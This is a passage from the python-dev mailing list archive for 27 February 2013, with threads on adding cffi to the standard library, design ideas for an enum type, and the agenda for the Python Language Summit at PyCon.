Eli
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/51770f6b/attachment.html>

From fijall at gmail.com  Wed Feb 27 17:08:26 2013
From: fijall at gmail.com (Maciej Fijalkowski)
Date: Wed, 27 Feb 2013 18:08:26 +0200
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAF-Rda-=yAcKGaQrefZX8YgK6hg=PQHR2TYi4xghg2W3tAfJBw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<CAF-Rda8krMYuaV-5VDezW5ZiL_O-jEOB1Db9txAQF1XSpDNzpA@mail.gmail.com>
	<CAK5idxRefe+0S45d6es6uQj8JX_5z0YGdrFWxXQT7hqoE7YthQ@mail.gmail.com>
	<CAF-Rda-=yAcKGaQrefZX8YgK6hg=PQHR2TYi4xghg2W3tAfJBw@mail.gmail.com>
Message-ID: <CAK5idxQJBnPrnYQP0dpThp8vG=p-j8T5fW88FSnFmyuz67KXJA@mail.gmail.com>

On Wed, Feb 27, 2013 at 5:57 PM, Eli Bendersky <eliben at gmail.com> wrote:
>
>> > I read the cffi docs once again and went through some of the examples. I
>> > want to divide this to two topics.
>> >
>> > One is what you call the "ABI" level. IMHO, it's hands down superior to
>> > ctypes. Your readdir demo demonstrates this very nicely. I would
>> > definitely
>> > want to see this in the stdlib as an alternative way to interface to C
>> > shared objects & DLLs.
>> >
>> > Two is what you call the "API" level, which is where my opinion becomes
>> > mixed. Some things just don't feel right to me:
>> >
>> > 1. Tying in a C compiler into the flow of a program. I'm not sure
>> > whether we
>> > have precedents for it in the stdlib. Does this work on Windows where
>> > libraries and DLLs are usually built with MSVC?
>> >
>>
>> Yes. Precedent in the stdlib is really the C API. All the same rules
>> apply (including build and ship a dll).
>
>
> So would you say that the main use of the API level is provide an
> alternative for writing C API code to interface to C libraries. IOW, it's in
> competition with Swig?

the general goal is to provide alternative for writing C API by hand
(so SWIG, ctypes, cython, whatever).

>
>>
>>
>> > 2. Using a function called "verify" to create stuff. This may sound like
>> > a
>> > naming bikeshed, but it's not. It ties in to the question - why is this
>> > needed?
>>
>> We welcome a better opinion of name (indeed verify is not that great).
>> This elevates ABI to API so either invokes the C compiler or reads
>> stuff from the cache.
>
>
> Can you elaborate on what "elevates ABI to API" means here?
>
>>
>> > 3. The partial type specifications in C with ellipsis. What is the
>> > point?
>> > You have the C declarations somewhere anyhow, so why introduce this? The
>> > "ABI level" boasts having just C and Python to write, but those partial
>> > ellipsis-ridden declarations are hardly C.
>>
>> No, you don't. Some libraries contain macros for example (like
>> OpenSSL) where you just can't use ABI because it makes no sense. It's
>> less common on windows where binary compatibility is important,
>> however looking on linux, multiple stdlib declaration would use
>> ellipsis in the man page.
>
>
> It would be useful to find an actual example and discuss it concretely.

#define Py_INCREF(x) (x -> refcnt++)

the API here is Py_INCREF, which is a macro and does not exist in the
DLL. copy-pasting the implementation is not using the API, it's hoping
that stuff won't change in the future (and say makes it not working
when PyPy implements Py_INCREF as a function). Some POSIX things are
macros in one version of glibc and functions in other and there is no
change in API so your code will silently stop working.

>
>>
>> I can't seem to find one right now, but it's
>> something like:
>>
>> struct X {
>>    int public_field;
>>    ...
>> }
>>
>> which is impossible to do correctly with ctypes without exposing some
>> sort of platform dependency that might change without warning.
>>
>> Another usages are #define SQLITE_OK ... which you don't know at the
>> time of writing (people assume those won't change and the do change).
>
>
> Do you mean that the value of SQLITE_OK changed over time (now it's 0, but
> used to be different?)
>
> If so, then in a realistic use case, how would the API level help solve
> this?
>
> Eli

no the API is SQLITE_OK. The actual numeric value of 0 is *not* part
of the API. it might be 0 it might be not, you never know. In cffi you
write:

#define SQLITE_OK ...

and let the compiler figure out. in ctypes you just hardcode 0. I
ended up once with a scary mess of ifs because BSD Linux and OS X were
declaring the same numeric constants with different values.

From ajm at flonidan.dk  Wed Feb 27 17:34:35 2013
From: ajm at flonidan.dk (Anders J. Munch)
Date: Wed, 27 Feb 2013 17:34:35 +0100
Subject: [Python-Dev] [Python-checkins] peps: Pre-alpha draft for PEP
	435 (enum). The name is not important at the moment, as
In-Reply-To: <CAFT4OTHvb0P2BdxgMdjK-h8pUOHxr=6ZTcWS4HF0K4q1a-EM3A@mail.gmail.com>
References: <3ZCsSP0rSXzQZS@mail.python.org><20130223150231.GA20921@sleipnir.bytereef.org><20130224204000.6309bd6c@anarchist.wooz.org><512ADB41.5040109@stoneleaf.us><20130224231410.0023038c@anarchist.wooz.org><512B7802.9010306@stoneleaf.us><CAF-Rda_fg-KypH=chtworgZu8yeTKv-Lm-7LefQgCq_XE3C_ng@mail.gmail.com><512B7F43.5060406@stoneleaf.us><87txoz3fg3.fsf@uwakimon.sk.tsukuba.ac.jp><512C5BF7.9090803@stoneleaf.us><87mwur2zkz.fsf@uwakimon.sk.tsukuba.ac.jp><512CDCDC.2090509@stoneleaf.us>
	<20130226201757.535abe3e@pitrou.net><87ip5e2zxs.fsf@uwakimon.sk.tsukuba.ac.jp><20130227143001.3cfce13a@pitrou.net>
	<CAFT4OTHvb0P2BdxgMdjK-h8pUOHxr=6ZTcWS4HF0K4q1a-EM3A@mail.gmail.com>
Message-ID: <9B1795C95533CA46A83BA1EAD4B01030DFE09F@flonidanmail.flonidan.net>

Hi, offering my DKK 0.50 on the subject.  I've used an in-house enum
type for the better part of a decade - put up at
http://unicollect.dk/download/oss/dc_enum.zip for inspiration.

I'm partial to an int subclass, or at least something very int-like,
because wrapping C libraries is such a major use case. Enums should
support all the operations that C enum's do: indexing, ordering,
bitwise math and unnamed values.

There's a whole bunch of these wrapped C enum's in the standard
library, e.g. in the os, stat and urllib modules.  Wouldn't it be good
to see them converted to enumeration values, to make them sort-of
self-documenting and sort-of typechecked?

- About unnamed values: Suppose for example you gather up some
stat constants in an enum like this: 
class S_I(Enum):
    XOTH = 1
    WOTH = 2
    ROTH = 4
    RWXO = 7
    XGRP = 8
    WGRP = 16
    RGRP = 32
    RWXG = 56
    XUSR = 64
    EXEC = 64
    WRITE = 128
    WUSR = 128
    RUSR = 256
    READ = 256
    RWXU = 448
    SVTX = 512
    SGID = 1024
    SUID = 2048
    FIFO = 4096
    FCHR = 8192
    FDIR = 16384
    FBLK = 24576
    FREG = 32768
    FLNK = 40960
    FSOCK = 49152
Now what happens if you do
>>> S_I(5)
?

This should not raise an exception: 5 is the perfectly valid
combination of XOTH and ROTH.  Supporting unnamed values is also
useful when reading integer values from an external source - file,
network, serial port - where typically you'd first convert the
received value to the enum type before doing any processing.  If
converting to enum type may raise an exception, that would force you
to print raw integer values in diagnostics, where you'd rather have
printed the userfriendly symbolic names.

- The repr of an enum value should be short and sweet.  Because
sometimes you'll be looking at long lists of information with 2-3 of
these on every line, and then <EnumValue: Colors.blue [int=3]> is just
going to be annoyingly verbose.  This is how my library eventually
printed enums:

>>> S_I.ROTH
S_I.ROTH
>>> S_I(4)
S_I.ROTH
>>> S_I(5)
S_I(5)
>>> print(S_I(4))
S_I.ROTH(4)
>>> print(S_I(5))
S_I.?(5)

- A final thing, attempting to compare or convert values from
different enum classes should be a TypeError.  E.g. in wxPython, it's
easy to mistake wx.OK and wx.ID_OK, and a friendly TypeError message
is a good way of detecting this early.

regards, Anders


From michael at voidspace.org.uk  Wed Feb 27 17:51:16 2013
From: michael at voidspace.org.uk (Michael Foord)
Date: Wed, 27 Feb 2013 16:51:16 +0000
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
Message-ID: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>

Hello all,

PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.

The agenda of topics for discussion so far includes the following:

* A report on pypy status - Maciej and Armin
* Jython and IronPython status reports - Dino / Frank 
* Packaging (Doug Hellmann and Monty Taylor at least)
* Cleaning up interpreter initialisation (both in hopes of finding areas
  to rationalise and hence speed things up, as well as making things
  more embedding friendly). Nick Coghlan
* Adding new async capabilities to the standard library (Guido)
* cffi and the standard library - Maciej
* flufl.enum and the standard library - Barry Warsaw
* The argument clinic - Larry Hastings

If you have other items you'd like to discuss please let me know and I can add them to the agenda.

All the best,

Michael Foord

--
http://www.voidspace.org.uk/


May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing 
http://www.sqlite.org/different.html






From brian at python.org  Wed Feb 27 18:02:56 2013
From: brian at python.org (Brian Curtin)
Date: Wed, 27 Feb 2013 11:02:56 -0600
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
Message-ID: <CAD+XWwpxD3ENQxd0vYNVUJ3eey5R1ZHAga3yQ+McZKXS3Oo7uw@mail.gmail.com>

On Wed, Feb 27, 2013 at 10:51 AM, Michael Foord
<michael at voidspace.org.uk> wrote:
> Hello all,
>
> PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.
>
> The agenda of topics for discussion so far includes the following:
>
> * A report on pypy status - Maciej and Armin
> * Jython and IronPython status reports - Dino / Frank
> * Packaging (Doug Hellmann and Monty Taylor at least)
> * Cleaning up interpreter initialisation (both in hopes of finding areas
>   to rationalise and hence speed things up, as well as making things
>   more embedding friendly). Nick Coghlan
> * Adding new async capabilities to the standard library (Guido)
> * cffi and the standard library - Maciej
> * flufl.enum and the standard library - Barry Warsaw
> * The argument clinic - Larry Hastings
>
> If you have other items you'd like to discuss please let me know and I can add them to the agenda.

I'll take detailed notes again this year. Within a few days of the end
of the conference I'll post a write-up to blog.python.org and this
list to keep everyone informed.

From p.f.moore at gmail.com  Wed Feb 27 19:24:59 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 27 Feb 2013 18:24:59 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
Message-ID: <CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>

On 27 February 2013 11:53, Maciej Fijalkowski <fijall at gmail.com> wrote:
> I think it means you can't use the ABI version and specify the calling
> convention. It's a reasonable bug report (the calling convention on
> API version works though)

That would be a deal-breaker for my use case of quick scripts working
with the Windows API on a machine with no C compiler. I'd have to use
ctypes in that case until cffi had this feature.
Paul.

From p.f.moore at gmail.com  Wed Feb 27 19:28:40 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 27 Feb 2013 18:28:40 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
Message-ID: <CACac1F-XBrnw0ckP8KnN2dh0OQYqi+vybnfuEmDwG0Zo81=UUg@mail.gmail.com>

 27 February 2013 18:24, Paul Moore <p.f.moore at gmail.com> wrote:
> On 27 February 2013 11:53, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> I think it means you can't use the ABI version and specify the calling
>> convention. It's a reasonable bug report (the calling convention on
>> API version works though)
>
> That would be a deal-breaker for my use case of quick scripts working
> with the Windows API on a machine with no C compiler. I'd have to use
> ctypes in that case until cffi had this feature.

One other use case for the ABI level over the API level - the ABI
level (no C extension) can be used across Python versions, where the
API level needs a separate compiled extension per Python version. This
can be a big deal on Windows at least, where users (not developers)
with no compilers on their systems are common.

I'm not trying to argue against cffi, just pointing out some cases
that should be considered.
Paul

From brett at python.org  Wed Feb 27 19:50:54 2013
From: brett at python.org (Brett Cannon)
Date: Wed, 27 Feb 2013 13:50:54 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F-XBrnw0ckP8KnN2dh0OQYqi+vybnfuEmDwG0Zo81=UUg@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CACac1F-XBrnw0ckP8KnN2dh0OQYqi+vybnfuEmDwG0Zo81=UUg@mail.gmail.com>
Message-ID: <CAP1=2W6JAOVan3zv9TfVNN6OaFMhxb9gn8e1wQvB1DXOVCeKbA@mail.gmail.com>

On Wed, Feb 27, 2013 at 1:28 PM, Paul Moore <p.f.moore at gmail.com> wrote:

>  27 February 2013 18:24, Paul Moore <p.f.moore at gmail.com> wrote:
> > On 27 February 2013 11:53, Maciej Fijalkowski <fijall at gmail.com> wrote:
> >> I think it means you can't use the ABI version and specify the calling
> >> convention. It's a reasonable bug report (the calling convention on
> >> API version works though)
> >
> > That would be a deal-breaker for my use case of quick scripts working
> > with the Windows API on a machine with no C compiler. I'd have to use
> > ctypes in that case until cffi had this feature.
>
> One other use case for the ABI level over the API level - the ABI
> level (no C extension) can be used across Python versions, where the
> API level needs a separate compiled extension per Python version. This
> can be a big deal on Windows at least, where users (not developers)
> with no compilers on their systems are common.
>
>
Is that still true for Windows even with the stable ABI and the dropping of
narrow/wide Unicode builds?
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/8e34caa0/attachment.html>

From solipsis at pitrou.net  Wed Feb 27 19:50:21 2013
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Wed, 27 Feb 2013 19:50:21 +0100
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
Message-ID: <20130227195021.0101c919@pitrou.net>

On Wed, 27 Feb 2013 16:51:16 +0000
Michael Foord <michael at voidspace.org.uk> wrote:

> Hello all,
> 
> PyCon, and the Python Language Summit, is nearly upon us. We have a good number of people confirmed to attend. If you are intending to come to the language summit but haven't let me know please do so.
> 
> The agenda of topics for discussion so far includes the following:
> 
> * A report on pypy status - Maciej and Armin
> * Jython and IronPython status reports - Dino / Frank 
> * Packaging (Doug Hellmann and Monty Taylor at least)
> * Cleaning up interpreter initialisation (both in hopes of finding areas
>   to rationalise and hence speed things up, as well as making things
>   more embedding friendly). Nick Coghlan
> * Adding new async capabilities to the standard library (Guido)
> * cffi and the standard library - Maciej
> * flufl.enum and the standard library - Barry Warsaw
> * The argument clinic - Larry Hastings
> 
> If you have other items you'd like to discuss please let me know and I can add them to the agenda.

Perhaps someone wants to discuss
http://www.python.org/dev/peps/pep-0428/, but I won't be there and the
PEP isn't terribly up-to-date either :-)

Regards

Antoine.



From p.f.moore at gmail.com  Wed Feb 27 19:57:42 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 27 Feb 2013 18:57:42 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAP1=2W6JAOVan3zv9TfVNN6OaFMhxb9gn8e1wQvB1DXOVCeKbA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CACac1F-XBrnw0ckP8KnN2dh0OQYqi+vybnfuEmDwG0Zo81=UUg@mail.gmail.com>
	<CAP1=2W6JAOVan3zv9TfVNN6OaFMhxb9gn8e1wQvB1DXOVCeKbA@mail.gmail.com>
Message-ID: <CACac1F_2J_6ZY=Lm4Nv7kzXfRrpVtE=F8W9FCKc7K8bw-=vSaA@mail.gmail.com>

On 27 February 2013 18:50, Brett Cannon <brett at python.org> wrote:
>> One other use case for the ABI level over the API level - the ABI
>> level (no C extension) can be used across Python versions, where the
>> API level needs a separate compiled extension per Python version. This
>> can be a big deal on Windows at least, where users (not developers)
>> with no compilers on their systems are common.
>>
>
> Is that still true for Windows even with the stable ABI and the dropping of
> narrow/wide Unicode builds?

Probably not, but I've never actually seen the stable ABI used in
practice (and I don't know if cffi restricts itself to the stable
ABI). I'm not sure that any toolchain (such as bdist_wininst or wheel)
really supports it (in the sense that they tend to make the assumption
that if there is a C extension, the code is version-specific).

None of these are insurmountable problems, though.

Paul.

From fwierzbicki at gmail.com  Wed Feb 27 20:01:28 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Wed, 27 Feb 2013 11:01:28 -0800
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
Message-ID: <CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>

On Wed, Feb 27, 2013 at 8:51 AM, Michael Foord <michael at voidspace.org.uk> wrote:
> If you have other items you'd like to discuss please let me know and I can add them to the agenda.

I'd like to discuss merging Jython's standard Lib (the *.py files). We
have in the past had agreement that this would be a good idea - I just
want to bring it up since I think this is probably the year that I'm
actually going to do it.

-Frank

From arigo at tunes.org  Wed Feb 27 20:08:40 2013
From: arigo at tunes.org (Armin Rigo)
Date: Wed, 27 Feb 2013 20:08:40 +0100
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
Message-ID: <CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>

Hi Paul,

On Wed, Feb 27, 2013 at 7:24 PM, Paul Moore <p.f.moore at gmail.com> wrote:
> On 27 February 2013 11:53, Maciej Fijalkowski <fijall at gmail.com> wrote:
>> I think it means you can't use the ABI version and specify the calling
>> convention. It's a reasonable bug report (the calling convention on
>> API version works though)
>
> That would be a deal-breaker for my use case of quick scripts working
> with the Windows API on a machine with no C compiler. I'd have to use
> ctypes in that case until cffi had this feature.

That's not correct: you can't indeed give the calling convention, but
it is not needed for the common case.  What is not supported is only
Python-defined callbacks using the Windows-specific convention --- as
documented, there is a workaround for that case.

And, in case you wonder, this automatic detection comes from ctypes.
I copied the hacked-up version of libffi for Windows from ctypes to
cffi, and the logic to detect the actual calling convention and
support both is there.  The difference is only that in ctypes, after
it did the call (always successfully), it checks the convention that
was found to be used by the C function, and if it differs from the one
specified by the user, then it complains.  I basically just removed
the "complaining" part.


A bient?t,

Armin.

From brett at python.org  Wed Feb 27 20:21:59 2013
From: brett at python.org (Brett Cannon)
Date: Wed, 27 Feb 2013 14:21:59 -0500
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
Message-ID: <CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>

On Wed, Feb 27, 2013 at 2:01 PM, fwierzbicki at gmail.com <
fwierzbicki at gmail.com> wrote:

> On Wed, Feb 27, 2013 at 8:51 AM, Michael Foord <michael at voidspace.org.uk>
> wrote:
> > If you have other items you'd like to discuss please let me know and I
> can add them to the agenda.
>
> I'd like to discuss merging Jython's standard Lib (the *.py files). We
> have in the past had agreement that this would be a good idea - I just
> want to bring it up since I think this is probably the year that I'm
> actually going to do it.
>

Do you mean more generally getting more pure Python implementations of
modules in the stdlib? If so then as a reference there is
http://bugs.python.org/issue16651 which lists the modules in the stdlib w/
only extension module implementations (although operator and random have
patches; the latter is waiting for Raymond to approve). And if I am right
about what you are suggesting, Frank, this should probably be expanded to a
more concerted effort with IronPython and PyPy. IOW it warrants a
discussion. =)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20130227/a8b65587/attachment.html>

From p.f.moore at gmail.com  Wed Feb 27 20:26:23 2013
From: p.f.moore at gmail.com (Paul Moore)
Date: Wed, 27 Feb 2013 19:26:23 +0000
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
	<CAK5idxT-cGbruzoKxkgcsGBn3VLBBWoJ+jJhbi_mT61zHE1gmg@mail.gmail.com>
	<kgkrkh$e8b$1@ger.gmane.org>
	<CAK5idxQK6h6imXVa27Tz310uKEhiO-WTjSKjReJMtxo4-fEy8Q@mail.gmail.com>
	<CACac1F-EQag_1vmU5iFqdWGnvgnk060JvZZdzfvFxkNU_5yHRw@mail.gmail.com>
	<CAMSv6X2mLcRL-ecFJVXEx83WTtbR0iVNrSdrQn=12n=tWMX3cA@mail.gmail.com>
Message-ID: <CACac1F_9Fcwz1+ntE7Q7aaYCrv4c0O9Bo=884b7x2XaZudGhGg@mail.gmail.com>

On 27 February 2013 19:08, Armin Rigo <arigo at tunes.org> wrote:
> That's not correct: you can't indeed give the calling convention, but
> it is not needed for the common case.  What is not supported is only
> Python-defined callbacks using the Windows-specific convention --- as
> documented, there is a workaround for that case.

OK, that's cool. As I said, I really need to actually experiment with
cffi - this thread has certainly made me want to do so.

Paul

From fwierzbicki at gmail.com  Wed Feb 27 20:33:30 2013
From: fwierzbicki at gmail.com (fwierzbicki at gmail.com)
Date: Wed, 27 Feb 2013 11:33:30 -0800
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
	<CADrh4zJxzN4EuM8OOJevD6UFB7Y-idS0wdsE6e9ejjM_+syfJA@mail.gmail.com>
	<CAP1=2W70L2+qw4gHU1QJcWdS0JgTe6P3uFJh_Q+JVHpqSzkPrQ@mail.gmail.com>
Message-ID: <CADrh4z+CFD_HmgzCrYUTHguiCJt6wqU7ZOY+tD95PDsrA_3LSw@mail.gmail.com>

On Wed, Feb 27, 2013 at 11:21 AM, Brett Cannon <brett at python.org> wrote:
> Do you mean more generally getting more pure Python implementations of
> modules in the stdlib? If so then as a reference there is
> http://bugs.python.org/issue16651 which lists the modules in the stdlib w/
> only extension module implementations (although operator and random have
> patches; the latter is waiting for Raymond to approve).
That is part of it, although my bigger goal is slightly more
ambitious. I'm hoping to eventually delete the entire Lib/ directory
from Jython and just pull in CPython's.

> And if I am right
> about what you are suggesting, Frank, this should probably be expanded to a
> more concerted effort with IronPython and PyPy. IOW it warrants a
> discussion. =)
Oh sure sorry - I have some tunnel vision lately :) I am suggesting
that we push forward on the "shared library" approach to the files in
the Lib/* directory, so that would certainly include IronPython and
PyPy as well I hope.

The easy part for Jython is pushing some of our "if is_jython:" stuff
into the appropriate spots in CPython's Lib/. I'd also like to do
something at the top of CPython specific .py files that would fail the
import in case it is called from Jython. I suspect that OS packagers
would like it if the Lib directory for a particular Python version
could be entirely shared between implementations.

There are a couple of spots that might be more controversial. For
example, Jython has a file Lib/zlib.py that implements zlib in terms
of the existing Java support for zlib. I do wonder if such a file is
acceptable in CPython's Lib since its 195 lines of code would be
entirely skipped by CPython.

Anyway I think I might be rambling - it seems like a good thing to discuss :)

-Frank

From dholth at gmail.com  Wed Feb 27 20:55:30 2013
From: dholth at gmail.com (Daniel Holth)
Date: Wed, 27 Feb 2013 14:55:30 -0500
Subject: [Python-Dev] cffi in stdlib
In-Reply-To: <5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
References: <CAK5idxQA+9zbBGhG0Thxzg9aBEko9UBtFTGK9_uJJ1vkyrGXwg@mail.gmail.com>
	<78C26306-4413-4727-B61F-04B8AEDEECF7@mac.com>
	<CAK5idxSSuAgNa47GyOWM3iTux+eXR--ZfFKSOTQ_9PQc8jUY-w@mail.gmail.com>
	<5E7B690F-0A81-4351-A145-8DF0CCFF69AB@mac.com>
Message-ID: <CAG8k2+6w9EebSqYNszW=pcXBu4S6R8cmEFx0eRjAg-M7zLk0Yw@mail.gmail.com>

On Wed, Feb 27, 2013 at 4:18 AM, Ronald Oussoren <ronaldoussoren at mac.com> wrote:
>
> On 27 Feb, 2013, at 10:06, Maciej Fijalkowski <fijall at gmail.com> wrote:
>
>> On Wed, Feb 27, 2013 at 9:29 AM, Ronald Oussoren <ronaldoussoren at mac.com> wrote:
>>>
>>> On 26 Feb, 2013, at 16:13, Maciej Fijalkowski <fijall at gmail.com> wrote:
>>>
>>>> Hello.
>>>>
>>>> I would like to discuss on the language summit a potential inclusion
>>>> of cffi[1] into stdlib.
>>>
>>> The API in general looks nice, but I do have some concens w.r.t. including cffi in the stdlib.
>>>
>>> 1. Why is cffi completely separate from ctypes, instead of layered on top of it? That is, add a utility module to ctypes that can parse C declarations and generate the right ctypes definitions.
>>
>> Because ctypes API is a mess and magic. We needed a cleaner (and much
>> smaller) model.
>
> The major advantages of starting over is probably that you can hide the complexity and that opens opportunities for optimizations. That said, I'm not convinced that ctypes is unnecessarily complex.

cffi actually does have a ctypes backend in addition to the ffi and
"compile a CPython extension" backends. But the ctypes backend is
guaranteed to be slow and messy because it is ctypes.

From techtonik at gmail.com  Wed Feb 27 21:20:52 2013
From: techtonik at gmail.com (anatoly techtonik)
Date: Wed, 27 Feb 2013 23:20:52 +0300
Subject: [Python-Dev] Python Language Summit at PyCon: Agenda
In-Reply-To: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
References: <13FB490E-3548-4959-9C2B-2880B8ACA6F5@voidspace.org.uk>
